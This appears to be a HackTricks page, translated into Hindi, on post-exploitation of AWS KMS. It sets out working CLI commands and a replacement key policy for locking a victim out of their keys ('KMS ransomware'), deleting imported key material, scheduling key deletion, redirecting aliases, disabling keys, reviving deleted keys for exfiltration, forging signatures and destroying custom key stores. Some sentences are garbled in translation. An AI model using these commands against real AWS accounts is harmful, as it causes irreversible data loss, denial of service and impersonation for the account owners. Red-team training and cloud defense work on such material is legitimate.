AWS - KMS Post Exploitation

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

KMS

अधिक जानकारी के लिए देखें:

AWS - KMS Enum

Encrypt/Decrypt information

fileb:// और file:// ऐसे URI schemes हैं जो AWS CLI कमांड्स में लोकल फाइलों का path बताने के लिए उपयोग होते हैं:

  • fileb://: फ़ाइल को बाइनरी मोड में पढ़ता है, सामान्यतः नॉन-टेक्स्ट फाइलों के लिए उपयोग होता है।
  • file://: फ़ाइल को टेक्स्ट मोड में पढ़ता है, आमतौर पर plain text files, scripts, या JSON के लिए जिनमें कोई विशेष encoding requirements नहीं होते।

Tip

ध्यान दें कि यदि आप किसी फाइल के अंदर कुछ data को decrypt करना चाहते हैं, तो फाइल में बाइनरी डेटा होना चाहिए, base64 encoded data नहीं. (fileb://)

  • symmetric key का उपयोग
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • asymmetric कुंजी का उपयोग:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

KMS पर विशेषाधिकार प्राप्त पहुँच वाला एक हमलावर KMS policy को बदल सकता है और keys पर grant his account access over them, जिससे legit account को दिया गया access हटा दिया जाएगा।

फिर, वे वैध खाते के उपयोगकर्ता उन keys से encrypt किए गए किसी भी सेवा की किसी भी जानकारी तक पहुँच नहीं कर पाएंगे, जिससे उस खाते पर एक सरल परन्तु प्रभावी ransomware बन जाएगा।

Warning

ध्यान दें कि AWS managed keys aren’t affected — इस हमले से प्रभावित नहीं होते, केवल Customer managed keys प्रभावित होते हैं।

साथ ही ध्यान दें कि param --bypass-policy-lockout-safety-check का उपयोग आवश्यक है (web console में इस विकल्प की कमी के कारण यह हमला केवल CLI से ही संभव है)।

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Caution

ध्यान दें कि यदि आप उस policy को बदलते हैं और केवल किसी external account को access देते हैं, और फिर उस external account से आप एक नई policy सेट करके give the access back to original account, you won’t be able cause the Put Polocy action cannot be performed from a cross account करने की कोशिश करते हैं, तो आप सक्षम नहीं होंगे।

Generic KMS Ransomware

Global KMS Ransomware को perform करने का एक और तरीका है, जिसमें निम्नलिखित steps शामिल होंगे:

  • Create a new key with a key material जिसे attacker द्वारा import किया गया हो
  • Re-encrypt older data जिसे victim के previous version से encrypt किया गया था, उसे new version से re-encrypt करें।
  • Delete the KMS key
  • अब केवल attacker, जिसके पास original key material है, वही encrypted data को decrypt कर पाएगा

Delete Keys via kms:DeleteImportedKeyMaterial

kms:DeleteImportedKeyMaterial permission के साथ, एक actor CMKs जिनका Origin=EXTERNAL है (वे CMKs जिन्होंने अपना key material import किया है) से imported key material को delete कर सकता है, जिससे वे data को decrypt करने में असमर्थ हो जाते हैं। यह action destructive और irreversible है जब तक compatible material फिर से re-import नहीं किया जाता, जिससे attacker प्रभावी रूप से ransomware-like data loss पैदा कर सकता है और encrypted जानकारी को स्थायी रूप से inaccessible बना सकता है।

aws kms delete-imported-key-material --key-id <Key_ID>

keys नष्ट करना

keys को नष्ट करने से DoS करना संभव है।

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Caution

ध्यान दें कि AWS अब cross account से पहले बताए गए कार्यों को करने से रोकता है:

Alias बदलना या हटाना

यह attack AWS KMS aliases को delete या redirect कर देता है, जिससे key resolution टूट जाती है और उन सेवाओं में तुरंत failures होते हैं जो इन aliases पर निर्भर करती हैं, परिणामस्वरूप denial-of-service होता है। kms:DeleteAlias या kms:UpdateAlias जैसी permissions होने पर एक attacker aliases को remove या repoint कर सकता है और cryptographic operations (e.g., encrypt, describe) को बाधित कर सकता है। कोई भी service जो key ID की बजाय alias को reference करती है, alias के restore या सही तरीके से remap होने तक fail हो सकती है।

# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>

कुंजी हटाने को रद्द करना

kms:CancelKeyDeletion और kms:EnableKey जैसे permissions के साथ, एक actor AWS KMS customer master key की निर्धारित deletion को रद्द कर सकता है और बाद में उसे पुनः सक्षम कर सकता है। ऐसा करने से कुंजी (प्रारंभ में Disabled state) पुनर्प्राप्त हो जाती है और पहले सुरक्षित किए गए डेटा को decrypt करने की इसकी क्षमता बहाल हो जाती है, जिससे exfiltration संभव हो जाता है।

# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>

Disable Key

kms:DisableKey अनुमति होने पर कोई व्यक्ति AWS KMS customer master key को अक्षम कर सकता है, जिससे वह encryption या decryption के लिए उपयोग नहीं हो सकेगी। यह उन किसी भी सेवाओं की पहुँच को तोड़ देता है जो उस CMK पर निर्भर करती हैं और कुंजी को पुनः सक्षम किए जाने तक तत्काल व्यवधान या denial-of-service का कारण बन सकता है।

aws kms disable-key \
--key-id <key_id>

Derive Shared Secret

यदि किसी के पास kms:DeriveSharedSecret permission है, तो एक actor KMS-held private key और user-supplied public key का उपयोग करके एक ECDH shared secret की गणना कर सकता है।

aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>

Impersonation via kms:Sign

यदि किसी के पास kms:Sign permission होता है, तो वह KMS-stored CMK का उपयोग करके बिना private key को उजागर किए डेटा को cryptographically sign कर सकता है, जिससे वैध signatures बनते हैं जो impersonation की अनुमति दे सकते हैं या किसी malicious action को authorize कर सकते हैं।

aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW

DoS with Custom Key Stores

kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore, या kms:UpdateCustomKeyStore जैसी permissions होने पर कोई actor AWS KMS Custom Key Store (CKS) को संशोधित, डिस्कनेक्ट या डिलीट कर सकता है, जिससे उसके master keys काम करना बंद कर देते हैं। इससे उन सेवाओं के लिए encryption, decryption और signing ऑपरेशन्स प्रभावित हो जाते हैं जो उन keys पर निर्भर करती हैं और यह तुरंत एक denial-of-service पैदा कर सकता है। इसलिए उन permissions को सीमित करना और मॉनिटर करना बेहद महत्वपूर्ण है।

aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें